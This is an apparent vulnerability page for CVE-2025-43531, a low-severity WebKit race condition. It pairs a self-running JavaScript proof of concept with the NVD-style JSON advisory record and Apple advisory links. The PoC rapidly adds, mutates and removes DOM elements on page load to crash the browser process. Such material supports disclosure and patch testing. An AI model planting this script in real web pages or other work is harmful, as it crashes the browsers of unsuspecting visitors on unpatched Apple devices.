CVE-2025-43531

// CVE-2025-43531 PoC - Race Condition in WebKit // This PoC demonstrates the race condition that can trigger process crash // Note: This is for educational purposes only (function() { console.log('[PoC] CVE-2025-43531 - WebKit Race Condition'); // Create elements for triggering race condition const createRaceElements = () => { const container = document.createElement('div'); container.id = 'race-container'; for (let i = 0; i < 100; i++) { const element = document.createElement('div'); element.className = 'race-element'; element.id = 'element-' + i; element.innerHTML = '<span>Content ' + i + '</span>'; container.appendChild(element); } document.body.appendChild(container); return container; }; // Trigger race condition by rapid DOM manipulation const triggerRace = () => { const elements = document.querySelectorAll('.race-element'); let iteration = 0; // Rapid mutation observer triggering const observer = new MutationObserver((mutations) => { mutations.forEach((mutation) => { mutation.addedNodes.forEach((node) => { if (node.nodeType === Node.ELEMENT_NODE) { // Rapid attribute modification setTimeout(() => { node.setAttribute('data-modified', Date.now()); }, Math.random() * 10); } }); mutation.removedNodes.forEach((node) => { // Attempt to access removed node try { node.innerHTML = ''; } catch (e) {} }); }); }); observer.observe(document.getElementById('race-container'), { childList: true, subtree: true, attributes: true }); // Rapid DOM operations to trigger race condition const interval = setInterval(() => { const container = document.getElementById('race-container'); if (!container) { clearInterval(interval); return; } // Add and remove elements rapidly const newElement = document.createElement('div'); newElement.className = 'race-element'; container.appendChild(newElement); // Simultaneously modify existing elements elements.forEach((el) => { el.style.transform = 'translateX(' + Math.random() * 100 + 'px)'; }); // Remove elements while they are being accessed if (iteration % 3 === 0) { const toRemove = container.querySelector('.race-element'); if (toRemove) { toRemove.remove(); } } iteration++; // Stop after some iterations if (iteration > 1000) { clearInterval(interval); observer.disconnect(); console.log('[PoC] Race condition test completed'); } }, 1); }; // Initialize window.addEventListener('load', () => { createRaceElements(); triggerRace(); }); })();

{"cve": {"id": "CVE-2025-43531", "sourceIdentifier": "[email protected]", "published": "2025-12-17T21:16:11.823", "lastModified": "2026-04-02T19:21:00.413", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "A race condition was addressed with improved state handling. This issue is fixed in Safari 26.2, iOS 18.7.3 and iPadOS 18.7.3, iOS 26.2 and iPadOS 26.2, macOS Tahoe 26.2, tvOS 26.2, visionOS 26.2, watchOS 26.2. Processing maliciously crafted web content may lead to an unexpected process crash."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:N/A:L", "baseScore": 3.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.6, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-362"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-362"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:apple:safari:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.2", "matchCriteriaId": "3ECBF838-536C-47F9-9876-C526B8ED32EC"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:ipados:*:*:*:*:*:*:*:*", "versionEndExcluding": "18.7.3", "matchCriteriaId": "6547722A-1226-4E23-B3AE-8692B07C2657"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:iphone_os:*:*:*:*:*:*:*:*", "versionEndExcluding": "18.7.3", "matchCriteriaId": "8928A377-93BD-49AD-B4FE-5B2328EBDB70"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:iphone_os:*:*:*:*:*:*:*:*", "versionStartIncluding": "26.0", "versionEndExcluding": "26.2", "matchCriteriaId": "10FD01C3-D77F-4FE4-8195-F2C59FB1321C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.2", "matchCriteriaId": "FBA92B6D-E36C-432B-A041-94D81427CD75"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:tvos:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.2", "matchCriteriaId": "E0BBFB45-21F3-4B72-8DB1-BE72AFE0D2AB"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:visionos:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.2", "matchCriteriaId": "EB10D901-4800-4DF9-AB35-48017C178161"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:watchos:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.2", "matchCriteriaId": "15574823-ECE0-4394-99BC-6AFA34E599CC"}]}]}], "references": [{"url": "https://support.apple.com/en-us/125884", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/125885", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/125886", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/125889", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/125890", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/125891", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/125892", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}]}}